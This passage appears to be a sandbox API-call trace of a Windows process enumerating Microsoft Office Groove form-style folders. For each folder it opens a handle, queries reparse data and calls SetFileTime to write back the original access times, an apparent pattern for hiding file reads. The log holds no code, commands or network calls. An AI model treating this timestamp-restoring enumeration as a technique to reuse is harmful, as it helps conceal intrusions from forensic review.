Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), fInfoLevelId=0x0, lpFileInformation=0x15fe628 | out: lpFileInformation=0x15fe628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0247.961] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0247.961] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0247.961] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd5a0 [0247.980] GetLastError () returned 0x12 [0247.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd6a0 [0247.980] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.980] GetLastError () returned 0x12 [0247.980] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0247.981] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), fInfoLevelId=0x0, lpFileInformation=0x15fe628 | out: lpFileInformation=0x15fe628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0247.993] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0247.993] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0247.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd6a0 [0248.022] GetLastError () returned 0x12 [0248.022] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd5a0 [0248.022] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0248.022] GetLastError () returned 0x12 [0248.022] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.023] GetLastError () returned 0x12 [0248.023] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.024] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.024] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.024] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0248.043] GetLastError () returned 0x12 [0248.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0248.043] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.045] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0248.045] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eb438, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eb438, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0248.045] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd660 [0248.047] GetLastError () returned 0x12 [0248.047] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd6a0 [0248.047] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.049] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.049] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.049] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.050] GetLastError () returned 0x12 [0248.050] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.050] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.050] GetLastError () returned 0x12 [0248.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.051] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.051] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.051] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.051] GetLastError () returned 0x12 [0248.051] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.051] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.051] GetLastError () returned 0x12 [0248.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.052] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.053] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.053] GetLastError () returned 0x12 [0248.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.053] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.053] GetLastError () returned 0x12 [0248.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.053] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.053] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.054] GetLastError () returned 0x12 [0248.054] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.054] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.054] GetLastError () returned 0x12 [0248.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.055] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.055] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.055] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.055] GetLastError () returned 0x12 [0248.055] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.055] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.055] GetLastError () returned 0x12 [0248.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.056] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.056] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.056] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.056] GetLastError () returned 0x12 [0248.056] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.057] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.057] GetLastError () returned 0x12 [0248.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.057] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.057] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.057] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.058] GetLastError () returned 0x12 [0248.058] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.058] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.058] GetLastError () returned 0x12 [0248.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.059] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.059] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eb4f8, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eb4f8, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.060] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.060] GetLastError () returned 0x12 [0248.060] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.060] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.060] GetLastError () returned 0x12 [0248.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.060] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.060] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eb4f8, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eb4f8, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.060] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.061] GetLastError () returned 0x12 [0248.061] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.061] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.061] GetLastError () returned 0x12 [0248.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.062] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.062] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eb4f8, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eb4f8, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.062] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.062] GetLastError () returned 0x12 [0248.062] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.062] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.062] GetLastError () returned 0x12 [0248.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.063] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.063] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, 